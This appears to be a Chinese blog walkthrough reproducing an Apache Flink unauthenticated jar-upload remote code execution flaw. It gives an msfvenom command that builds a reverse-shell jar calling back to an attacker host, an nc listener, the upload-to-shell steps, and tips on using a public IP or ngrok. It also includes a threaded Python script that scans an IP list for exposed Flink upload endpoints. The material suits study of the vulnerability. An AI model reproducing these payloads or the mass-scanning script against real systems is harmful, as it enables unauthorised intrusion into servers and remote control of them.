Apache Flink任意Jar包上傳導致遠程程式碼執行

前言

記一次Apache Flink任意Jar包上傳導致遠程程式碼執行復現漏洞過程。 作者一直致力於小白都能看懂的漏洞復現過程,感謝大家們一路以來的支援!

致謝Cx01、丞相等表哥們。沒有你們的幫助,沒有這篇文章!

0x01 漏洞描述

近日,有安全研究員公開了一個Apache Flink的任意Jar包上傳導致遠程程式碼執行的漏洞. 影響範圍:<= 1.9.1(最新版本) 可能是我測的比較少,成功的概率1.9版本比較高。

0x02 漏洞威脅等級

高危

可導致遠程程式碼執行

0x03 漏洞復現

第一步生成payload msfvenom -p java/shell_reverse_tcp LHOST=x.x.x.x LPORT=x -f jar >fuck.jar 名字可以任意取

第二步生成監聽埠,這裡我選擇nc監聽埠。 nc -lvp port

第三步上傳payload

最後直接返回shell

接著執行命令

0x04 復現那些坑

一定要生成公網ip的payload!!! 一定要生成公網ip的payload!!! 一定要生成公網ip的payload!!!

沒有錢的小哥哥,小姐姐們可以選擇一個Sunny-ngrok 工具進行埠轉發。 官方Sunny-ngrok教程

客戶端工具下載地址

0x05 批量檢測腳本

GitHub地址

腳本源碼

"""  auth: @l3_W0ng  version: 1.0  function: Apache Web Dashboard RCE  usage: python3 script.py ip [port [command]]                 default port=8081    """import osimport subprocessimport requestsfrom multiprocessing.dummy import Pool as ThreadPooldef get_iplist():      iplist = []    with open("iplist.txt", 'r') as file:          data = file.readlines()        for item in data:              ip = item.strip()              iplist.append(ip)    return iplistdef check_8081(ip):      url = 'http://' + ip + ':8081/jar/upload'        try:          res = requests.get(url=url, timeout=2)          data = {            'msg': res.json(),            'state': 1,            'url': url,            'ip': ip          }    except:          data = {            'msg': 'Secure',            'state': 0,            'ip': ip          }    if data['state'] == 1:          print(data)    if __name__ == '__main__':      iplist = get_iplist()        pool = ThreadPool(20)      pool.map(check_8081, iplist)

圖片來源

Ps: 當注釋掉 if 『Unable to load requested file』 in str(data): 之後,出現Token為空,或者 Unauthorized request 時候是不存在未授權訪問的,而是帶授權

部分exp程式碼

圖片來源

0x06 參考文獻

https://www.t00ls.net/thread-53784-1-1.html https://mp.weixin.qq.com/s/ArYCF4jjhy6nkY4ypib-Ag https://flink.apache.org/downloads.html

0x07 免責聲明

0x05批量腳本是來自於https://www.t00ls.net/thread-53784-1-1.html,如果有侵犯權益,留言刪除。大佬見諒!

本文中提到的漏洞利用Poc和腳本僅供研究學習使用,請遵守《網路安全法》等相關法律法規。